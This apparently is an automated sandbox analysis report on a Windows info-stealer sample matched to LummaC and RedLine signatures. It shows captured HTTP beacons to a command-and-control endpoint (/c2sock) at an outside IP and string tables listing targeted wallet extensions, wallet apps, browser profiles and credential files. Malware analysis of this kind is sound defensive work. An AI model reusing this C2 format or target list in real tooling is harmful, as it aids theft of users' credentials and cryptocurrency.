Nov 13, 2024 10:53:20.844338894 CET	2472	OUT	Data Raw: b3 03 2d fe 67 db ff cb fb 7f f9 31 59 1f f9 1f 82 1a 40 d4 03 72 fb a3 63 3e 2f 10 bd c1 49 3d c0 f0 3c da e3 81 70 e3 e3 fb 7e f9 bd e6 7e 60 5e a3 07 eb e3 fb 7e 5d 75 7c f4 0a ff a3 f9 7f 14 ea ef a5 dd bf fc 5e cc fd a3 f3 74 3f fa 76 cd 39 Data Ascii: -g1Y@rc>/I=<p~~`^~]u\|^t?v9~@"-%%gE\|WOOa_koq12`A[y57k9g?\=Yo1j-
Nov 13, 2024 10:53:20.844418049 CET	2472	OUT	Data Raw: eb f9 42 ea 21 b9 ff 5d 28 fe 27 fe 97 3d ae 99 7e d2 ff 5b bf 15 8a ff 49 ff af f8 9f f8 9f f8 9f f8 9f f4 ff 4a ff af f4 ff 8a ff 89 ff 35 b6 ff 37 6d ff 47 de da 3f b3 07 18 a6 e7 da fd 51 6f ff af 6d de 1f 9f 07 38 e5 a8 3e 3a bc 3e 90 ef fb Data Ascii: B!]('=~[IJ57mG?Qom8>:>HZO'C/~9tS~Hv~5x]:Bb8.`EXwi^a3~s&sj5E
Nov 13, 2024 10:53:20.848722935 CET	2472	OUT	Data Raw: ff 78 7f 30 6c b0 21 fe 37 eb 3c 75 b1 67 7c 7f 59 a8 ac 35 80 f4 ba 64 ed a6 dc fe f7 e8 55 c7 a9 27 cf df 43 2d 99 79 47 5b cc ff c3 33 92 fc 2f ed e7 5d 1a fa df 3a 23 be fd 51 bd 1f b7 bd 17 47 7c 5c 2d be ff 54 6d 82 3c 74 8e ae f1 7b 17 dc Data Ascii: x0l!7<ug\|Y5dU'C-yG[3/]:#QG\|\-Tm<t{D;]wx_Vl57_M3=sVKu]`r?`^a>O}yObtNbCPG@8!@} igy3@_ku~
Nov 13, 2024 10:53:20.848831892 CET	2472	OUT	Data Raw: d4 75 81 ac ef d7 ec 03 d6 b5 80 9e f1 a1 ae 0f 7b 3f e0 79 13 0f d9 c2 da ef 6b ee 03 e1 81 0d 86 3b 45 d8 6e 0f ee 7f 30 41 7a a5 39 80 38 36 fd 0f 7e 07 fb e3 bb 3d f8 39 de 03 cc 3d 10 75 7e 38 cf 8d 10 cf e0 4e 68 f6 09 f3 7d bf e6 fc 3f 72 Data Ascii: u{?yk;En0Az986~=9=u~8Nh}?r>@mi)]56@6kZ\}WOE=j'b)jk/v]?OlVSc=]gmL'''X??V
Nov 13, 2024 10:53:20.849044085 CET	2472	OUT	Data Raw: fb 43 6c e7 c4 ff b2 fb 5f 96 fa 41 b3 3e 50 fc 4f fc 4f fc 2f dd fe c4 ff c4 ff c4 ff c4 ff 7a ba ff e5 de 03 d2 52 ff 2b 35 ce ff 7e 51 f2 d3 01 fe 37 cb 52 07 d8 53 fc 0f 75 83 f1 04 be 67 f1 3f 6e 80 ad f4 3f bd ff d7 b0 3e 7e 3c f5 b8 72 6a Data Ascii: Cl_A>POO/zR+5~Q7RSug?n?>~<rjab0{Q-oh?\|'%/bz.K?^k"<~a05\|=t`u~BGh. 9#C/\0e~? ?79^ DKzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49991	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:29.596995115 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:29.597378969 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49993	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:38.534646988 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:38.535351038 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49994	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:47.416708946 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:47.417144060 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49995	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:56.518299103 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:56.518840075 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49996	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:54:05.349737883 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:54:05.350265980 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49997	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:54:14.127818108 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:54:14.128194094 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Target ID:	0
Start time:	04:51:28
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\Vd3tOP5WSD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Vd3tOP5WSD.exe"
Imagebase:	0x400000
File size:	476'160 bytes
MD5 hash:	D539E0FD4638F335E6BA827C71103E03
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.3920154401.0000000000A38000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.2148951176.00000000023C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:54:22
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1564
Imagebase:	0xd30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	10.3%
Signature Coverage:	52.3%
Total number of Nodes:	776
Total number of Limit Nodes:	24

Executed Functions

Function 004069A1 Relevance: 208.6, APIs: 6, Strings: 112, Instructions: 2052stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,?), ref: 00406AFC
lstrcatW.KERNEL32(?,\Local Storage\leveldb), ref: 00406B06
lstrcatW.KERNEL32(?,?,?), ref: 00408A66
lstrcatW.KERNEL32(?,/BrowserDB), ref: 00408A70

Strings

EeS, xrefs: 00406B7F
Au576xedro, xrefs: 00407584
ppbibelpc576xedjmhbdihakflkd576xedcoccbgbkpo, xrefs: 004082E5
flpici576xedilemghbmfalica576xedjoolhkkenfel, xrefs: 004075E4
Zi576xedlPay, xrefs: 0040746A
Te576xedmple, xrefs: 00408068
imloif576xedkgjagghnncjkhgg576xeddhalmcnfklk, xrefs: 00408216
Pha576xedntom, xrefs: 0040822F
bfn576xedaelmomeim576xedhlpmgjnjophhpkkoljpa, xrefs: 00408242
/BrowserDB, xrefs: 00408A68
fihka576xedkfobkmkjojpchpf576xedgcmhfjnmnfpi, xrefs: 00408856
nlbm576xednnijcnlegkjjpcfjclm576xedcfggfefdm, xrefs: 004081D0
Ja576xedxx Lib576xederty, xrefs: 0040881F
Bi576xedtClip, xrefs: 00407FD4
fhbohimaelboh576xedpjbbldcngcnapn576xeddodjp, xrefs: 00408128
ijmp576xedgkjfkbfho576xedebgogflfebnmejmfbml, xrefs: 00407FE3
Tro576xednLi576xednk, xrefs: 00407616
EnK576xedrypt, xrefs: 00408897
kpfop576xedkelmapcoipemfend576xedmdcghnegimn, xrefs: 00407EED
jbd576xedaocneiiinmjbj576xedlgalhcelgbejmnid, xrefs: 00407D6E
Cy576xedano, xrefs: 00407AE5
Hy576xedcon Lite Cli576xedent, xrefs: 004080C7
ibnejdfjmmk576xedpcnlpebklmnk576xedoeoihofec, xrefs: 00407625
Pol576xedymesh, xrefs: 004075AC
amkmj576xedjmmflddogmhpjloim576xedipbofnfjih, xrefs: 004073C2
Ni576xedfty, xrefs: 0040816B
ffn576xedbelfdoeiohenk576xedjibnmadjiehjhajb, xrefs: 00408152
EQ576xedUAL, xrefs: 004076A5
VL6T, xrefs: 0040891C
dmkam576xedcknogkgcdfhhbddcghach576xedkejeap, xrefs: 004084B0
Yo576xedroi, xrefs: 00408143
aea576xedchknmefphepccio576xednboohckonoeemg, xrefs: 004074A1
GAu576xedth Authe576xednticator, xrefs: 00407298
Coi576xedn98, xrefs: 00407492
kln576xedaejjgbibmhlephnh576xedpmaofohgkpgkd, xrefs: 00407479
lodccj576xedjbdhfakaekdiahmedf576xedbieldgik, xrefs: 00407FBB
One576xedKey, xrefs: 00407859
mnfif576xedefkajgofkcjkemidiae576xedcocnkjeh, xrefs: 00407F93
Ma576xedth, xrefs: 004083D3
ookjlb576xedkiijinhpmnjffcofj576xedonbfbgaoc, xrefs: 00407F69
gae576xeddmjdfmmahhbj576xedefcbgaolhhanlaolb, xrefs: 00406D00
Log576xedin Da576xedta Fo576xedr Acc576xedount, xrefs: 00408667
Ste576xedem Key576xedchain, xrefs: 0040827B
Bit576xedApp, xrefs: 00408847
nanj576xedmdknhkinifnkgdcggcfnhd576xedaammmj, xrefs: 00407D13
bcopg576xedchhojmggmff576xedilplmbdicgaihlkp, xrefs: 004080DA
nhnk576xedbkgjikgcigadomkph576xedalanndcapjk, xrefs: 004087BC
aiifb576xednbfobpmeekiphe576xedeijimdpnlpgpp, xrefs: 0040725B
His576xedtory, xrefs: 004083AF
W576xedeb Da576xedta, xrefs: 00408697
hcflp576xedincpppdclinealmandi576xedjcmnkbgn, xrefs: 0040804F
By576xedone, xrefs: 004076ED
cnma576xedmaachppnkjgnil576xeddpdmkaakejnhae, xrefs: 00407593
ICO576xedNex, xrefs: 004075D4
Ron576xedin Wall576xedet, xrefs: 004085CE
EeS, xrefs: 00407043
E576xedOS Authenti576xedcator, xrefs: 00406D19
Te576xedzBox, xrefs: 00407F84
hpg576xedlfhgfnhbgpjden576xedjgmdgoeiappafln, xrefs: 0040768A
Netw576xedork\Cook576xedies, xrefs: 00408505
Lo576xedgin Da576xedta, xrefs: 0040864F
\Local Storage\leveldb, xrefs: 00406AFE
VL6T, xrefs: 004076C1
Me576xedtaMa576xedsk, xrefs: 00406E46, 004087D8
Na576xedsh Ex576xedtension, xrefs: 0040809F
infe576xedboajgfhgbjpjbeppbkg576xednabfdkdaf, xrefs: 00407868
Ke576xedplr, xrefs: 004084A0
UL6T, xrefs: 0040702D
Aut576xedhenti576xedcator, xrefs: 004074BA
oel576xedjdldpnmdbchonieli576xeddgobddffflal, xrefs: 00406D28
Au576xedthy, xrefs: 00406CF1
Hist576xedory, xrefs: 0040867F
ejbalbako576xedplchlghecda576xedlmeeeajnimhm, xrefs: 00406E55
ilgcn576xedhelpchnceeipipij576xedaljkblbcobl, xrefs: 004072A7
kn576xedcchdigobgh576xedenbbaddojjnnaogfppfj, xrefs: 0040887E
NeoL576xedine, xrefs: 00407CB2
Gua576xedrda, xrefs: 00408423
Le576xedaf, xrefs: 00407881
dkded576xedlpgdmmkkfjabffeg576xedanieamfklkm, xrefs: 00407AF8
Coinb576xedase, xrefs: 004083FB
Liqu576xedality, xrefs: 00407EDD
Uni576xedSat, xrefs: 004082D2
kkpllko576xeddjeloidieedojogacfhp576xedaihoh, xrefs: 004088A7
bhgho576xedamapcdpbohphigoo576xedoaddinpkbai, xrefs: 004074C9
fnjhmkhhmkb576xedjkkabndcn576xednogagogbneec, xrefs: 004085DD
Gu576xedild, xrefs: 004081EB
cj576xedelfplplebdjjenllpjcbl576xedmjkfcffne, xrefs: 0040882E
fhmfend576xedgdocmcbmfikdcog576xedofphimnkno, xrefs: 00408903
Tr576xedezor Passw576xedord Manager, xrefs: 00408207
cphhlg576xedmgameodnhkjdmkpa576xednlelnlohao, xrefs: 00407CC1
KH576xedC, xrefs: 00408040
ME576xedW CX, xrefs: 004073DD
Wom576xedbat, xrefs: 004077AD
onof576xedpnbbkehpmmoa576xedbgpcpmigafmmnjhl, xrefs: 004080AE
Bin576xedance Cha576xedin Wal576xedlet, xrefs: 004085F6
afbc576xedbjpbpfadlkmhm576xedclhkeeodmamcflc, xrefs: 004083E2
hnfanknocfe576xedofbddgcijnm576xedhnfnkdnaad, xrefs: 0040840A
Sol576xedlet, xrefs: 004088F4
Te576xedrra Stat576xedion, xrefs: 0040724B
nknhi576xedehlklippafakaeklbegl576xedecifhad, xrefs: 00408027
nkd576xeddgncdjgjfcddamfg576xedcmfnlhccnimig, xrefs: 00407C99
DAp576xedpPlay, xrefs: 00407FAC
Cl576xedover, xrefs: 004087AC
lkcjl576xednjfpbikmcm576xedbachjpdbijejflpcm, xrefs: 00408084
Nab576xedox, xrefs: 00408018
cihm576xedoadaighcej576xedopammfbmddcmdekcje, xrefs: 004086BB
iW576xedlt, xrefs: 0040886F
jojhf576xedeoedkpkglbfimdfabp576xeddfjaoolaf, xrefs: 004075BB
nlgbh576xeddfgdhgbiamfdfmb576xedikcdghidoadd, xrefs: 00407D4F
nkbihfbeo576xedgaeaoehlef576xednkodbefgpgknn, xrefs: 004087E8
Sa576xedturn, xrefs: 00407C8A
bln576xedieiiffboi576xedllknjnepogjhkgnoapac, xrefs: 00408804

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: /BrowserDB$Au576xedro$Au576xedthy$Aut576xedhenti576xedcator$Bi576xedtClip$Bin576xedance Cha576xedin Wal576xedlet$Bit576xedApp$By576xedone$Cl576xedover$Coi576xedn98$Coinb576xedase$Cy576xedano$DAp576xedpPlay$E576xedOS Authenti576xedcator$EQ576xedUAL$EnK576xedrypt$EeS$EeS$GAu576xedth Authe576xednticator$Gu576xedild$Gua576xedrda$His576xedtory$Hist576xedory$Hy576xedcon Lite Cli576xedent$ICO576xedNex$Ja576xedxx Lib576xederty$KH576xedC$Ke576xedplr$Le576xedaf$Liqu576xedality$Lo576xedgin Da576xedta$Log576xedin Da576xedta Fo576xedr Acc576xedount$ME576xedW CX$Ma576xedth$Me576xedtaMa576xedsk$Na576xedsh Ex576xedtension$Nab576xedox$NeoL576xedine$Netw576xedork\Cook576xedies$Ni576xedfty$One576xedKey$Pha576xedntom$Pol576xedymesh$Ron576xedin Wall576xedet$Sa576xedturn$Sol576xedlet$Ste576xedem Key576xedchain$Te576xedmple$Te576xedrra Stat576xedion$Te576xedzBox$Tr576xedezor Passw576xedord Manager$Tro576xednLi576xednk$UL6T$Uni576xedSat$VL6T$VL6T$W576xedeb Da576xedta$Wom576xedbat$Yo576xedroi$Zi576xedlPay$\Local Storage\leveldb$aea576xedchknmefphepccio576xednboohckonoeemg$afbc576xedbjpbpfadlkmhm576xedclhkeeodmamcflc$aiifb576xednbfobpmeekiphe576xedeijimdpnlpgpp$amkmj576xedjmmflddogmhpjloim576xedipbofnfjih$bcopg576xedchhojmggmff576xedilplmbdicgaihlkp$bfn576xedaelmomeim576xedhlpmgjnjophhpkkoljpa$bhgho576xedamapcdpbohphigoo576xedoaddinpkbai$bln576xedieiiffboi576xedllknjnepogjhkgnoapac$cihm576xedoadaighcej576xedopammfbmddcmdekcje$cj576xedelfplplebdjjenllpjcbl576xedmjkfcffne$cnma576xedmaachppnkjgnil576xeddpdmkaakejnhae$cphhlg576xedmgameodnhkjdmkpa576xednlelnlohao$dkded576xedlpgdmmkkfjabffeg576xedanieamfklkm$dmkam576xedcknogkgcdfhhbddcghach576xedkejeap$ejbalbako576xedplchlghecda576xedlmeeeajnimhm$ffn576xedbelfdoeiohenk576xedjibnmadjiehjhajb$fhbohimaelboh576xedpjbbldcngcnapn576xeddodjp$fhmfend576xedgdocmcbmfikdcog576xedofphimnkno$fihka576xedkfobkmkjojpchpf576xedgcmhfjnmnfpi$flpici576xedilemghbmfalica576xedjoolhkkenfel$fnjhmkhhmkb576xedjkkabndcn576xednogagogbneec$gae576xeddmjdfmmahhbj576xedefcbgaolhhanlaolb$hcflp576xedincpppdclinealmandi576xedjcmnkbgn$hnfanknocfe576xedofbddgcijnm576xedhnfnkdnaad$hpg576xedlfhgfnhbgpjden576xedjgmdgoeiappafln$iW576xedlt$ibnejdfjmmk576xedpcnlpebklmnk576xedoeoihofec$ijmp576xedgkjfkbfho576xedebgogflfebnmejmfbml$ilgcn576xedhelpchnceeipipij576xedaljkblbcobl$imloif576xedkgjagghnncjkhgg576xeddhalmcnfklk$infe576xedboajgfhgbjpjbeppbkg576xednabfdkdaf$jbd576xedaocneiiinmjbj576xedlgalhcelgbejmnid$jojhf576xedeoedkpkglbfimdfabp576xeddfjaoolaf$kkpllko576xeddjeloidieedojogacfhp576xedaihoh$kln576xedaejjgbibmhlephnh576xedpmaofohgkpgkd$kn576xedcchdigobgh576xedenbbaddojjnnaogfppfj$kpfop576xedkelmapcoipemfend576xedmdcghnegimn$lkcjl576xednjfpbikmcm576xedbachjpdbijejflpcm$lodccj576xedjbdhfakaekdiahmedf576xedbieldgik$mnfif576xedefkajgofkcjkemidiae576xedcocnkjeh$nanj576xedmdknhkinifnkgdcggcfnhd576xedaammmj$nhnk576xedbkgjikgcigadomkph576xedalanndcapjk$nkbihfbeo576xedgaeaoehlef576xednkodbefgpgknn$nkd576xeddgncdjgjfcddamfg576xedcmfnlhccnimig$nknhi576xedehlklippafakaeklbegl576xedecifhad$nlbm576xednnijcnlegkjjpcfjclm576xedcfggfefdm$nlgbh576xeddfgdhgbiamfdfmb576xedikcdghidoadd$oel576xedjdldpnmdbchonieli576xeddgobddffflal$onof576xedpnbbkehpmmoa576xedbgpcpmigafmmnjhl$ookjlb576xedkiijinhpmnjffcofj576xedonbfbgaoc$ppbibelpc576xedjmhbdihakflkd576xedcoccbgbkpo
API String ID: 4038537762-1377293222
Opcode ID: d76d7c670001a5dbd7c9de7b01bcafc77f6a8fb9cd7de87a96b03e98a683fc98
Instruction ID: d3b4c8d05487b98e51841e16d8283d2e4e5c243acd67d22c1ca68150be5d60ea
Opcode Fuzzy Hash: d76d7c670001a5dbd7c9de7b01bcafc77f6a8fb9cd7de87a96b03e98a683fc98
Instruction Fuzzy Hash: 05E229F2E001065AEF2896588D8357F7969EB14304F25453FF80AF63D1EA3C8E558A9F

Function 0042D658 Relevance: 104.1, Strings: 82, Instructions: 1594COMMON

Download Yara Rule

Strings

%appda576xedta%\Bina576xednce, xrefs: 0042DBB8, 0042DD8C, 0042EE79
%appdata%\Telegram Desktop, xrefs: 0042DF00
%appdata%\Authy Desktop\Local Storage\leveldb, xrefs: 0042ED1D
Op576xedera G576xedX Stab576xedle, xrefs: 0042EBA1
%appdata%\com.liberty.jaxx\IndexedDB, xrefs: 0042ED4F
.fin576xedger-pr576xedint.fp, xrefs: 0042DD7C
%localappdata%\Comodo\Dragon\User Data, xrefs: 0042ECC7
%appd576xedata%\Ethe576xedreum, xrefs: 0042EA9E
%appdata%\AnyDesk, xrefs: 0042DC38
Applications/Steam/config, xrefs: 0042DCAF
Aan(, xrefs: 0042DB43
Wallets/Coinomi, xrefs: 0042ED00
Applications/FileZilla, xrefs: 0042DC49, 0042DC4E, 0042DC66
ST4, xrefs: 0042D951
%userprofile%, xrefs: 0042DC83
Wallets/Ledger Live, xrefs: 0042EADF
*.conf, xrefs: 0042DC33
Ed576xedge, xrefs: 0042E788
ap576xedp-sto576xedre.js576xedon, xrefs: 0042DBA9
Wallets/Exodus, xrefs: 0042EAC3
Wallets/JAXX New Version, xrefs: 0042ED45
Aan(, xrefs: 0042D889
%localappdata%\Chro576xedmium\Use576xedr Data, xrefs: 0042E76E
%programfiles%\Steam\config, xrefs: 0042DCB9
%appda576xedta%\Op576xedera Softwa576xedre\Op576xedera Neo576xedn\Us576xeder Da576xedta, xrefs: 0042EC90
%localappdata%\BraveSoftware\Brave-Browser\User Data, xrefs: 0042ECB2
sim576xedple-sto576xedrage.j576xedson, xrefs: 0042EE6A
%locala576xedppdata%\Mic576xedrosoft\Edge\Us576xeder Data, xrefs: 0042DA33
ssfn*, xrefs: 0042DC99
%appd576xedata%\Ope576xedra Soft576xedware\Op576xedera Sta576xedble, xrefs: 0042D8E5
%appd576xedata%\El576xedectrum\wal576xedlets, xrefs: 0042E541
Op576xedera Neo576xedn, xrefs: 0042EC81
%appdata%\Ledger Live, xrefs: 0042EAE5
%appda576xedta%\Mo576xedzilla\Fir576xedefox\Prof576xediles, xrefs: 0042D7F0
%appdata%\FileZilla, xrefs: 0042DC54, 0042DC59, 0042DC6C
%appd576xedata%\Op576xedera Softw576xedare\Op576xedera GX Sta576xedble, xrefs: 0042EBB0
%localappdata%\Coinomi\Coinomi\wallets, xrefs: 0042ED06
Applications/KeePass, xrefs: 0042DC79
%localappdata%\CocCoc\Browser\User Data, xrefs: 0042DA83
*.kbdx, xrefs: 0042DC7E
%lo576xedcalapp576xeddata%\Go576xedogle\Chr576xedome\Us576xeder Dat576xeda, xrefs: 0042E957
$jRk, xrefs: 0042DED9
*.leveldb, xrefs: 0042ED4A
Applications/AnyDesk, xrefs: 0042DC2E
Op576xedera Sta576xedble, xrefs: 0042E4D1
recentservers.xml, xrefs: 0042DC4F
Wall576xedets/Ele576xedctrum, xrefs: 0042EE9A
Wallets/Electrum, xrefs: 0042ED60
Wallets/Authy Desktop, xrefs: 0042ED17
Wallets/Atomic, xrefs: 0042ECE4
Applications/Steam, xrefs: 0042DC94
%appdata%\Electrum\wallets, xrefs: 0042ED66
TT4, xrefs: 0042DF2F
Kom576xedeta, xrefs: 0042E818
%appdata%\Exodus\exodus.wallet, xrefs: 0042EACE
y_B>, xrefs: 0042E011
Mozi576xedlla Firef576xedox, xrefs: 0042D7E1
Applications/Telegram, xrefs: 0042DEF6
Wall576xedets/Binan576xedce, xrefs: 0042DB9A
q7 C, xrefs: 0042E450
Chr576xedome, xrefs: 0042E948
%appdata%\Bitcoin\wallets, xrefs: 0042ED34
CocCoc, xrefs: 0042DA7E
*576xed, xrefs: 0042E532
TT4, xrefs: 0042EB40
Import576xedant File576xeds/Pro576xedfile, xrefs: 0042F04F
Wall576xedets/Eth576xedereum, xrefs: 0042EE17
%appdata%\atomic\Local Storage\leveldb, xrefs: 0042ECEF
sitemanager.xml, xrefs: 0042DC67
Brave Software, xrefs: 0042ECAD
%userpro576xedfile%, xrefs: 0042DB79
keyst576xedore, xrefs: 0042EE27
Wal576xedlets/Bin576xedance, xrefs: 0042EE5B
@an(, xrefs: 0042D868
%programfiles%\Steam, xrefs: 0042DC9E
%loc576xedalappda576xedta%\Kom576xedeta\Us576xeder Da576xedta, xrefs: 0042E827
Wal576xedlets/Bi576xednance, xrefs: 0042DBD5
?, xrefs: 0042ECD4
Comodo, xrefs: 0042ECC2
Wallets/Bitcoin core, xrefs: 0042ED2E
*.576xedtxt, xrefs: 0042EEB6
Chromi576xedum, xrefs: 0042E75F

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
